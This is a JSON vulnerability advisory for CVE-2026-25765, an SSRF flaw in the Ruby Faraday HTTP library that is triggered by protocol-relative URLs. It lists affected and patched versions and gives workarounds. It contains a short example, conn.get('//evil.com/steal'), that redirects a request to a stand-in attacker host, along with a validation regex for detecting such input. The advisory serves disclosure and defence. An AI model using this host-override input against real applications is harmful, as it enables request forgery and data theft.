CVE-2026-25765: Faraday Faraday Affected By SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-33mh-2634-fwr2",
  "modified" : "2026-02-13T17:16:36Z",
  "published" : "2026-02-09T20:37:05Z",
  "aliases" : [ "CVE-2026-25765" ],
  "summary" : "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url",
  "details" : "### Impact\n\n  Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's\n  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL's host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday's `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: 'https://api.internal.com')\n  conn.get('//evil.com/steal')\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "faraday"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.14.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "faraday"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.10.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.10.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/pull/1569"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lostisland/faraday"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
  }, {
    "type" : "WEB",
    "url" : "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T20:37:05Z",
    "nvd_published_at" : "2026-02-09T21:15:49Z"
  }
}